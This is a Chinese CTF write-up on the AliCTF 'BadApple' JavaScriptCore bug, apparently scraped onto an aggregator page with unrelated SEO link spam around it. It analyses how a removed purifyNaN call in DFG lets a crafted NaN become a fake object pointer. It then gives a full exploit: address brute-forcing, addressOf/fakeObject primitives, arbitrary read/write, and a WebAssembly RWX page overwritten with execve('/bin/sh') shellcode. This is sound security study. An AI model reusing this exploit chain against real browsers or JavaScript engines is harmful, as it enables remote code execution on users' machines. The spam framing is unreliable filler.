当前位置: 首页 > news >正文

网站 专题建设服务北京南站在哪个区哪个街道

网站 专题建设服务,北京南站在哪个区哪个街道,网站名怎么写,域名注册免费文章目录 前言环境搭建漏洞分析漏洞利用参考 前言 本文首发于看雪论坛 https://bbs.kanxue.com/thread-281291.htm 依稀记得那晚被阿里CTF支配的恐惧#xff0c;今年的阿里CTF笔者就做了一道签到PWN题#xff0c;当时也是下定决心要学习 jsc pwn 然后复现这道 BadApple 题目… 文章目录 前言环境搭建漏洞分析漏洞利用参考 前言 本文首发于看雪论坛 https://bbs.kanxue.com/thread-281291.htm 依稀记得那晚被阿里CTF支配的恐惧今年的阿里CTF笔者就做了一道签到PWN题当时也是下定决心要学习 jsc pwn 然后复现这道 BadApple 题目 这个题目重新引入了一个 CVE其实出题人已经白给了因为出题人后面直接把当时漏洞发现者的演讲视频给了然后通过视频可以找到解析文章漏洞原理分析、poc 基本都有了但是当时笔者太菜了虽然现在也很菜还是没有搞出来经过这两天对 JSC 漏洞利用的研究打算把这道题目复现了 注如果读者想了解更多关于该漏洞的一些背景请读者直接移步到参考文章参考文章写的非常详细对漏洞原理的分析也非常到位本文更多的是记录如何从一个漏洞的 patch 一层一层的找到触发该漏洞的逻辑而且写利用时也会遇到很多坑笔者也详细做了记录 环境搭建 git checkout WebKit-7618.1.15.14.7 git apply ../BadApple.diff Tools/Scripts/build-webkit --jsc-only --release漏洞分析 patch 如下 diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp index f2b51cf1213a..fd84ab644117 100644 --- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cppb/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp-4307,7 4307,7 void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType}if (format DataFormatJS) { - purifyNaN(resultReg);// purifyNaN(resultReg);boxDouble(resultReg, resultRegs);jsValueResult(resultRegs, node);} else { diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp index f4e0bf891a61..6acea11bd819 100644 --- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cppb/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp-15292,7 15292,7 IGNORE_CLANG_WARNINGS_ENDelsegenericResult strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64));} else if (genericResult-type() Double) - genericResult boxDouble(purifyNaN(genericResult));genericResult boxDouble(genericResult);results.append(m_out.anchor(genericResult));m_out.jump(continuation); diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp index f85c7db6bfbe..6af45c3e477e 100644 --- a/Source/JavaScriptCore/jsc.cppb/Source/JavaScriptCore/jsc.cpp-616,6 616,9 private:Base::finishCreation(vm);JSC_TO_STRING_TAG_WITHOUT_TRANSITION();// addFunction(vm, describe_s, functionDescribe, 1);// addFunction(vm, print_s, functionPrintStdOut, 1);return;addFunction(vm, atob_s, functionAtob, 1);addFunction(vm, btoa_s, functionBtoa, 1); 这里 DFG 和 FTL 中的两处漏洞都可以单独进行利用所以这里仅仅看 DFG 中的漏洞其补丁打在了 SpeculativeJIT::compileGetByValOnFloatTypedArray 函数中 void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambdastd::tupleJSValueRegs, DataFormat, CanUseFlush(DataFormat preferredFormat) prefix) {ASSERT(isFloat(type));SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));StorageOperand storage(this, m_graph.varArgChild(node, 2));GPRTemporary scratch(this);FPRTemporary result(this);GPRReg baseReg base.gpr();GPRReg propertyReg property.gpr();GPRReg storageReg storage.gpr();GPRReg scratchGPR scratch.gpr();FPRReg resultReg result.fpr();std::optionalGPRTemporary scratch2;GPRReg scratch2GPR InvalidGPRReg; #if USE(JSVALUE64)if (node-arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {scratch2.emplace(this);scratch2GPR scratch2-gpr();} #endifJSValueRegs resultRegs;DataFormat format;std::tie(resultRegs, format, std::ignore) prefix(DataFormatDouble);emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR);switch (elementSize(type)) {case 4:loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);convertFloatToDouble(resultReg, resultReg);break;case 8: {// 【1】loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);break;}default:RELEASE_ASSERT_NOT_REACHED();}if (format DataFormatJS) {// 【2】// purifyNaN(resultReg);boxDouble(resultReg, resultRegs);jsValueResult(resultRegs, node);} else {ASSERT(format DataFormatDouble);doubleResult(resultReg, node);} }compileGetByValOnFloatTypedArray 函数顾名思义其是用来优化 GetByValOnFloatTypedArray 操作的比如如下代码 let f64 new Float64Array(10); let val f64[0];对于 f64[0] 在 DFG 阶段会调用 compileGetByValOnFloatTypedArray 对其进行优化这里的 f64 是 Float64Array 所以元素大小是 8 字节其会走到 【1】 处loadDouble 会根据索引从数组中加载相应的值到 resultReg 中。然后会走到后面的 if-else 处如果 format DataFormatJS 则会走到漏洞分支处可以看到这里直接对 resultReg 进行了 box 处理即将其转换为 JSValue 这里 format DataFormatJS 表示优化编译器认为这个值在后面被会作为 JSValue 使用所以会走 if 分支调用 boxDouble 将其转换为一个 JSValue否则认为后面会直接使用原始值所以会走 else 分支不做 box 处理 可以可以看到patch 主要就是注释掉了 purifyNaN(resultReg); 从而引入了漏洞来看下 pyrifyNaN 函数 // Returns some kind of pure NaN. inline double pureNaN() {return bitwise_castdouble(0x7ff8000000000000ll); }#define PNaN (pureNaN())inline bool isImpureNaN(double value) {return bitwise_castuint64_t(value) 0xfffe000000000000llu; }// If the given value is NaN then return a NaN that is known to be pure. inline double purifyNaN(double value) {if (value ! value)return PNaN;return value; } 可以看到这里函数的功能就跟其名称一样 purify NaN在 JSC 中其认为 0x7ff8000000000000ll 是一个 pure NaN。所以这里的意思就是如果数组中的值是 NaN则统一使用 pure NaN后面简称 PNaN 为啥要统一使用 PNaN这里先来看下 boxDouble boxDouble 的实现有好多个可以根据参数类型进行判断具体的调用的哪一个实现 void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode HaveTagRegisters) {boxDouble(fpr, regs.gpr(), mode); }GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode HaveTagRegisters) {// 【1】moveDoubleTo64(fpr, gpr);if (mode DoNotHaveTagRegisters)sub64(TrustedImm64(JSValue::NumberTag), gpr);else {// 【2】sub64(GPRInfo::numberTagRegister, gpr);jitAssertIsJSDouble(gpr);}return gpr; }所以之前的函数走的是 【2】 分支这里首先将 fpr 赋值给了 gpr然后执行 sub64(GPRInfo::numberTagRegister, gpr); 即 gpr gpr - GPRInfo::numberTagRegister这里跟踪一下 static constexpr GPRReg numberTagRegister X86Registers::r14;所以这里 GPRInfo::numberTagRegister 对于的是虚拟寄存器 r14行那么问题来了r14 在实际运行时到底是多少呢这里还是不知道所以我们还是根据 GPRInfo::numberTagRegister 的名称进行搜索 // If all bits in the mask are set, this indicates an integer number, // if any but not all are set this value is a double precision number. static constexpr int64_t NumberTag 0xfffe000000000000ll;最后找到了一个比较相关的其值为 0xfffe000000000000ll其实可以发现其就是 integer JSValue 的 mask所以这里我们可以认为其就是 gpr gpr - 0xfffe000000000000ll但是似乎也不对啊double JSValue 应该是 gpr gpr 0x0002000000000000ll 才对啊别急 gpr gpr-0xfffe000000000000ll gpr-0xfffe000000000000ll-0x0002000000000000ll0x0002000000000000ll gpr-(0xfffe000000000000ll0x0002000000000000ll)0x0002000000000000ll gpr-0x1_0000000000000000[发生溢出]0x0002000000000000ll gpr0x0002000000000000ll所以其是等效的这里的效果就是 gpr gpr 0x0002000000000000ll行接下来我们在梳理一下程序的流程 f64[0] resultReg loadDouble if format DataFormatJS is true resultReg 0x0002000000000000ll return这里其实漏洞就很明显了如果 resuleReg 0xfffe_????_????_????那么此时就会发生溢出 resultReg 0x0002000000000000ll 0xfffe_????_????_???? 0x0002000000000000ll 0x0000_????_????_????而 0x0000_????_????_???? 会被当作一个指针所以就获得了一个 fakeObject 原语。那么这里 resuleReg 可以为 0xfffe_?...? 吗答案是可以的比如如下代码 let f64 new Float64Array(10); let u64 new BigUint64Array(f64); u64[0] 0xfffe_0000_0000_1111n; let val f64[0];这里我们顺便看下为啥加上 purifyNaN 就可以消除这个漏洞我们知道 0xfffe_????_????_???? 对于 double 而言都是 NaN其实只要指数域全部置位尾数域不全为 0表示的就是 NaN所以对于此类值我们都统一使用 PNaN 0x7ff8000000000000ll这时 resultReg 0x0002000000000000ll 0x7ff8000000000000ll 0x0002000000000000ll 0x7ffa000000000000可以看到这里就避免了溢出的发生 漏洞触发 接下来就是关键的漏洞触发路径的探索了 通过上面的分析我们知道想要触发漏洞就要执行到 void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambdastd::tupleJSValueRegs, DataFormat, CanUseFlush(DataFormat preferredFormat) prefix)并且要求最后执行 if 分支即 format DataFormatJS 得成立而 format 被赋值的语句如下 void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambdastd::tupleJSValueRegs, DataFormat, CanUseFlush(DataFormat preferredFormat) prefix) {......JSValueRegs resultRegs;DataFormat format;std::tie(resultRegs, format, std::ignore) prefix(DataFormatDouble); ......可以看到 format 的值为 compileGetByValOnFloatTypedArray 的第三个参数 prefix其是一个 lambda 函数 返回值 tuple 的第二个值。所以这里目标就很清楚了 调用 compileGetByValOnFloatTypedArray 函数传入的第三个参数 prefix 执行后返回值 tuple 的第二个元素为 DataFormatJS 先看下有哪些函数调用 compileGetByValOnFloatTypedArray经过搜索笔者仅在如下路径中找到调用 Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal然后看 DFGSpeculativeJIT32_64.cp 似乎没用了这里看下 DFGSpeculativeJIT64.cpp 下的实现 void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambdastd::tupleJSValueRegs, DataFormat, CanUseFlush(DataFormat preferredFormat) prefix) {switch (node-arrayMode().type()) {......case Array::Float32Array:case Array::Float64Array: {TypedArrayType type node-arrayMode().typedArrayType();if (isInt(type))compileGetByValOnIntTypedArray(node, type, prefix);elsecompileGetByValOnFloatTypedArray(node, type, prefix);} } }这里继续跟踪 compileGetByVal 的引用看看谁调用了它最后找到如下调用 // DFGSpeculativeJIT32_64.cpp 下的是一样的就不多说了 Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal这里先来看下 SpeculativeJIT::compile 函数 void SpeculativeJIT::compile(Node* node) {NodeType op node-op(); ......switch (op) {......case GetByVal: {JSValueRegsTemporary result;compileGetByVal(node, scopedLambdastd::tupleJSValueRegs, DataFormat, CanUseFlush(DataFormat preferredFormat)([] (DataFormat preferredFormat) {JSValueRegs resultRegs;switch (preferredFormat) {case DataFormatDouble:break;default: {result JSValueRegsTemporary(this);resultRegs result.regs();break;}};return std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes };}));break;}这里我并没有在外部找到 preferredFormat 的定义所以这里 lambda 函数返回的 tuple 的第二个元素似乎不确定所以这条路径暂时放弃 然后再来看下 SpeculativeJIT::compileEnumeratorGetByVal 函数 void SpeculativeJIT::compileEnumeratorGetByVal(Node* node) {Edge baseEdge m_graph.varArgChild(node, 0);auto generate [] (JSValueRegs baseRegs) {......compileGetByVal(node, scopedLambdastd::tupleJSValueRegs, DataFormat, CanUseFlush(DataFormat)([] (DataFormat) {......return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };}));......}; ...... }可以到这里 lambda 函数返回的 tuple 的第二个元素恒为 DataFormatJS这时符合条件的并且由于其固定为 DataFormatJS对漏洞利用的稳定性也有很大的帮助 说实话感觉是真的巧巧合就有这么一个函数巧合其返回的就是 DataFormatJS差一个环节这个漏洞的利用都会显得非常困难 所以最后我们需要执行到 compileEnumeratorGetByVal 逻辑即可而跟踪可以知道其会在 SpeculativeJIT::compile 中被调用 void SpeculativeJIT::compile(Node* node) {NodeType op node-op(); ......switch (op) {......case EnumeratorGetByVal: {compileEnumeratorGetByVal(node);break;}......根据 case 可以知道其是处理 EnumeratorGetByVal 操作的并且这里基本上就到了优化编译路径的顶层了 void SpeculativeJIT::compileCurrentBlock() {ASSERT(m_compileOkay); ......for (m_indexInBlock 0; m_indexInBlock m_block-size(); m_indexInBlock) {m_currentNode m_block-at(m_indexInBlock);......compile(m_currentNode);......接下来就是要看看 EnumeratorGetByVal 对应的操作是什么这里结合 chatGPT 食用 在 JavaScriptCore 中EnumeratorGetByVal 是一个函数用于在枚举对象的属性时获取指定键的值。 当使用 for...in 语句或 Object.keys() 等方法枚举对象的属性时JavaScriptCore 使用 EnumeratorGetByVal 函数来获取每个属性的值。 这里不禁让我想到了 V8 中 for-in 的实现for-in 其实是一个非常耗时的语句不同的引擎针对 for-in 的实现都做了不同的优化在 V8 中其主要就是通过 enum cache 去加速 for-in 语句的属性查找之前分析过的 V8 中关于 enum cache 的漏洞就是 enum cache 在对象类型改变时没有及时更新从而导致越界感兴趣的读者可以参考之前笔者的文章 还是回到 JSC 中来笔者并没用找到 JSC 中关于 for-in 的实现资料关于源码…嗯笔者暂时没打算直接读源码因为笔者现在还在对 JSC 的整个编译流程做总结还没用打算深入源码毕竟还得慢慢来一口不能吃成一个大胖子。 但是到这里我们就可以尝试写 poc 了我们只需要知道 for-in 中利用 key 获取属性值时会走到漏洞逻辑进行了考虑如下 poc由于对 JSC 的一些编译管道不是很熟悉所以 poc 写了很久都没写出来最后直接看官方 poc 吧… let abuf new ArrayBuffer(8); let lbuf new BigUint64Array(abuf); let fbuf new Float64Array(abuf);obj {other:1}; function trigger(arg, t) {for (let i in obj) {obj [0];t.x arg[i];} }t {x: {}}; trigger(obj, t); for (let i 0 ; i 0x1000; i) {trigger(fbuf,t); }lbuf[0] 0xfffe0000_00000001n; trigger(fbuf, t); t.x;调试程序 crash 可以看到程序 crash 的原因是内存读写错误因为此时的 r13 1 是一个无效地址 漏洞利用 现在我们已经获得了一个 fakeObject 原语接下来就是去考虑该如何进行利用了…说实话我还真不知道咋利用毕竟没有 addressOf 原语就没办法泄漏相关对象的地址从而无法去伪造合法的对象所以这里得想办法泄漏对象地址 这里参考文章中给出了一种方案这里不细说具体请参考参考文章简单来说就是当 操作被优化后其直接使用 cmp 指令进行比较那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址 笔者在写 exp 的时候遇到了很多问题而这些问题在参考文章中都没有说明所以笔者带着大家去解决这些问题 1、防止 GC 发生由于存在对一些非法对象的引用如果触发 GC 则会导致 crash2、防止循环爆破地址的过程中发生一些优化否则会导致程序 crash因为优化时会对对象进行检查3、还有一些其它问题我也说不明白是什么问题 首先说明下在 ubu20.04 上我发现对象的低 24 比特似乎是固定的不知道是不是平台的原因还是是其跟 V8 有差不多的特性 接下来就跟着笔者去碰一碰利用过程中遇到的问题吧第一版爆破对象地址的 exp var abuf new ArrayBuffer(8); var lbuf new BigUint64Array(abuf); var fbuf new Float64Array(abuf);var t {x: {}}; var obj {x:1234, y:1234}; var obj_to_leak { p1: 1337, p2: 1337 }; function trigger(arg, a2) {for (let i in obj) {obj [1];let out arg[i];a2.x out;} }function compare_obj(pointer, target_obj) {return pointer.x target_obj; }function fakeObject(addr) {lbuf[0] 0xfffe_0000_0000_0000n addr;trigger(fbuf, t); }trigger(obj, t); trigger(t, obj_to_leak);for (let i 0 ; i 0x1000; i) {trigger(fbuf,t); }for (let i 0; i 0x10000; i) {compare_obj(t, obj_to_leak); }debug(describe(obj_to_leak)); var addr 0n; for (let i 0n; i 0xffffn; i 1n) {print(i);addr 0x7f0000500180n i*0x1000000n;fakeObject(addr);let res compare_obj(t, obj_to_leak);if (res) {print(Success);break} } debug(describe(obj_to_leak)); print(addr: 0xaddr.toString(16));运行直接 crash 调试看看是哪里出了问题 可以看到这里的 rdi 就是我们进行爆破的地址现在其是一个无效的地址所以这里 [rdi0x5] 发生了内存访问错误看调用栈可以知道其发生在如下调用逻辑 [#0] 0x7ffff6616dfb → JSC::speculationFromCell(JSC::JSCell*)() [#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker const, JSC::CodeBlock*)() [#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()() [#3] 0x7ffff6f6e71d → operationOptimize()而且通过 rdi 的值可以知道其是在爆破的过程中发生了所以这里就是说在爆破的过程中发生了优化这里大概就可以猜测是因为某个操作循环了多次导致的这里读者可以大概去看一下 operationOptimize 函数其实也不用看然后可以知道 updateAllPredictions 函数用来更新预测信息的其实根据函数名也知道。 所以接下来就是去找出是哪里发生了优化这里基本也是连猜带懵其实这里可以主要到其明显与伪造对象有关而结合源代码基本上就可以知道是哪里出现了问题当然这里笔者也没搞错底层的根本原因所以就不多说了直接看代码。 这里笔者写出了第二版泄漏代码 var abuf new ArrayBuffer(8); var lbuf new BigUint64Array(abuf); var fbuf new Float64Array(abuf);var t {x: {}}; var obj {x:1234, y:1234}; var obj_to_leak { p1: 1337, p2: 1337 }; function trigger(arg, a2) {for (let i in obj) {obj [1];let out arg[i];a2.x out;} }function compare_obj(pointer, target_obj) {return pointer.x target_obj; }function fakeObject(addr) {lbuf[0] 0xfffe_0000_0000_0000n addr;trigger(fbuf, t); }trigger(obj, t); trigger(t, obj_to_leak);for (let i 0 ; i 0x1000; i) {trigger(fbuf,t); }lbuf[0] 0xfffe0000_22222222n; for (let i 0; i 0x1000; i) {trigger(fbuf, t); }for (let i 0; i 0x10000; i) {compare_obj(t, obj_to_leak); }debug(describe(obj_to_leak)); var addr 0n; for (let i 0n; i 0xffffn; i 1n) {print(i);addr 0x7f0000500180n i*0x1000000n;fakeObject(addr);let res compare_obj(t, obj_to_leak);if (res) {print(Success);break} } debug(describe(obj_to_leak)); print(addr: 0xaddr.toString(16));笔者增加了如下代码去提前进行相关优化你若问我为什么我也不知道就是瞎调然后连猜带懵的… lbuf[0] 0xfffe0000_22222222n; for (let i 0; i 0x1000; i) {trigger(fbuf, t); }为什么选择 0xfffe0000_22222222n 呢因为笔者测试发现如果你把原始 poc 中的 0xfffe0000_00000001n 换成0xfffe0000_22222222n 程序不会崩溃当然还有一些其它值也不会崩溃比如 0xfffe0000_00000002n、0xfffe0000_00000006n 等等这里 2 表示的是 Null6 表示的是 false所以其不会崩溃自然可以理解 运行结果如下 虽然还是崩溃了但是可以看到现在可以执行的更远了这里是执行到了 19565而上面仅仅执行到了 159还是调试分析下 可以看到这里的崩溃原因与第一版的并不一样并且这版运行的更远说明上一个版本的问题我们已经成功解决了。但是这个问题笔者并没有很好的解决因为笔者感觉是 gc 的问题所以多跑几次吧…悲 如果读者针对该问题有比较好的解决方案欢迎交流~~~ 泄漏了对象地址后其实就比较简单了直接套模板就行了exp 其实可以简化的但是不想改了因为 obj_to_leak 对象的地址的低 24 比特随着代码而改变增加一行代码或减少一行代码都有可能使得其地址低 24 比特被改变如果存在像 V8 那样的通用堆喷就好了~~~ exploit 如下 var buf new ArrayBuffer(8); var dv new DataView(buf); var u8 new Uint8Array(buf); var u32 new Uint32Array(buf); var u64 new BigUint64Array(buf); var f32 new Float32Array(buf); var f64 new Float64Array(buf);function pair_u32_to_f64(l, h) {u32[0] l;u32[1] h;return f64[0]; }function u64_to_f64(val) {u64[0] val;return f64[0]; }function f64_to_u64(val) {f64[0] val;return u64[0]; }function set_u64(val) {u64[0] val; }function set_l(l) {u32[0] l; }function set_h(h) {u32[1] h; }function get_l() {return u32[0]; }function get_h() {return u32[1]; }function get_u64() {return u64[0]; }function get_f64() {return f64[0]; }function get_fl(val) {f64[0] val;return u32[0]; }function get_fh(val) {f64[0] val;return u32[1]; }function hexx(str, val) {print(str: 0xval.toString(16)); }function sleep(ms) {return new Promise((resolve) setTimeout(resolve, ms)); }var abuf new ArrayBuffer(8); var fbuf new Float64Array(abuf); var lbuf new BigUint64Array(abuf);var arrs new Array(0x20).fill({}); for (let i 0; i 0x20; i) {arrs[i] { x: 1337, y: 1337 }; }; var t { x: 1337, y: 1337}; var obj { x: 1337, y: 1337 }; var obj_to_leak { x: 1337, y: 1337 }; var header { x: 1337, y: 1337 }; var butterfly { x: 200, y: 1337 }; var addressOf_obj { x: 1337, y: 1337 };function trigger(arr, a2) {for (let i in obj) {obj [1];let out arr[i];a2.y out;} }function fakeObject(addr, a2) {lbuf[0] 0xfffe_0000_0000_0000n addr;trigger(fbuf, a2); }function compare_obj(pointer, target_obj) {return pointer.y target_obj; }trigger(obj, t); compare_obj(t, obj_to_leak);for (let i 0; i 0x30000; i) {trigger(fbuf, t); }lbuf[0] 0xfffe0000_22222222n;; for (let i 0; i 0x1000; i) {trigger(fbuf, t); }for (let i 0; i 0x10000; i) {compare_obj(t, obj_to_leak); }print( Go); //debug(describe(obj_to_leak)); var addr 0n; for (let i 0n; i 0xffffn; i 1n) {addr 0x7fffff50c580n - i*0x1000000n; // print(i); // hexx(addr, addr);fakeObject(addr, t);let res compare_obj(t, obj_to_leak);if (res) {hexx(addr, addr);break;} }obj_to_leak.x u64_to_f64(0x0108230700000000n-0x2000000000000n); fakeObject(0x2000000020n, header); obj_to_leak.y butterfly;fakeObject(addr0x10n, t); var fake_object t.y;//debug(describe(obj_to_leak)); //debug(describe(header)); //debug(describe(butterfly)); //debug(describe(addressOf_obj));function addressOf(obj) {butterfly.x obj;return f64_to_u64(fake_object[2]); }print( End); hexx(test, addressOf(addressOf_obj));function fakeObject_better(addr) {fake_object[2] u64_to_f64(addr);return butterfly.x; }function leakStructureID(obj) {let container {jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),butterfly: obj};let fake_object_addr addressOf(container) 0x10n;let leak_fake_object fakeObject_better(fake_object_addr);let num f64_to_u64(leak_fake_object[0]);let structureID num 0xffffffffn;container.jscell f64[0];return structureID; }var noCOW 1.1; var arrs []; for (let i 0; i 100; i) {arrs.push([noCOW]); } var ID [noCOW];//debug(describe(ID)); var structureID leakStructureID(ID); hexx(structureID, structureID);var victim [noCOW, 1.1, 2.2]; victim[prop] 3.3; victim[brob] 4.4;var container {jscell: u64_to_f64(structureID0x0108230900000000n-0x2000000000000n),butterfly: victim };var container_addr addressOf(container); var driver_addr container_addr 0x10n; var driver fakeObject_better(driver_addr);//debug(describe(victim)); //debug(describe(driver));var unboxed [noCOW, 1.1, 2.2]; var boxed [{}];driver[1] unboxed; var sharedButterfly victim[1]; hexx(sharedButterfly, f64_to_u64(sharedButterfly)); //debug(describe(unboxed));driver[1] boxed; victim[1] sharedButterfly;function new_addressOf(obj) {boxed[0] obj;return f64_to_u64(unboxed[0]); }function new_fakeObject(addr) {unboxed[0] u64_to_f64(addr);return boxed[0]; }function read64(addr) {driver[1] new_fakeObject(addr 0x10n);return new_addressOf(victim.prop); }function write64(addr, val) {driver[1] new_fakeObject(addr 0x10n);victim.prop u64_to_f64(val);; }function ByteToDwordArray(payload) {let sc [];let tmp [];let len Math.ceil(payload.length / 6);for (let i 0; i len; i 1) {tmp 0n;pow 1n;for(let j 0; j 6; j){let c payload[i*6j]if(c undefined) {c 0n;}pow j0 ? 1n : 256n * pow;tmp c * pow;}tmp 0xc000000000000n;sc.push(tmp);}return sc; }function arb_write(addr, payload) {let sc ByteToDwordArray(payload);for(let i 0; i sc.length; i) {write64(addr, sc[i]);addr 6n;} }var wasm_code new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module new WebAssembly.Module(wasm_code); var wasm_instance new WebAssembly.Instance(wasm_module); var pwn wasm_instance.exports.main;var pwn_addr new_addressOf(pwn); hexx(pwn_addr, pwn_addr); var rwx_ptr read64(pwn_addr 0x30n); var rwx_addr read64(rwx_ptr);; hexx(rwx_addr, rwx_addr);var shellcode [106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];arb_write(rwx_addr, shellcode); pwn();效果如下 参考 Safari, Hold Still for NaN Minutes!
http://www.zqtcl.cn/news/12825/

相关文章:

  • 无网站营销网络推广方法有几种
  • 中英文网站程序现在网站给源码
  • 服务器搭建网站域名配置wordpress增加边栏
  • 重庆智能网站建设推荐wordpress 水煮鱼
  • 海珠做网站公司建设网站怎么挣钱
  • 抚顺网站开发潍坊做电商的网站
  • wordpress 站内搜索北京市网站建设 维护推荐
  • 上海做网站哪家便宜提供网页制作平台的公司
  • 互联网网站如何做流量统计用深度liunx做网站
  • 张店做网站公司进入官方网站浏览器
  • 那些网站可做国外零售资源共享网站开发
  • 旅游电子商务网站开发如何做app推广
  • 中国石化工程建设公司网站免费发广告的软件有哪些
  • 网站开发教学网wordpress google 360
  • 企业商城网站建设开发江苏企业建网站排名优化
  • 对象储存做网站创建网站目录应注意
  • ps做网站学到什么程度拍摄广告片制作公司
  • 企业网站推广策划方法wordpress 悬浮 登录
  • 一 电子商务网站建设规划支持wordpress的主机
  • 哪个网站可以做免费商业推广河南国正建设集团公司网站
  • 电子商务网站建设与管理答案免费学平面设计的网站
  • 163企业邮箱免费百度seo教程
  • 新手怎么做企业网站网站开发服务费会计分录
  • 深圳市做网站的公司锦州网站建设案例
  • 汉沽集团网站建设易语言 wordpress
  • 厦门住房建设局网站首页招标建设网站
  • 长春专用网站建设网站推广公司运营模式
  • 人才网站建设策划书wordpress rss解析
  • 服装网站论文网站建设中应该返回502还是301
  • 东莞做网站优化的公司seo平台有哪些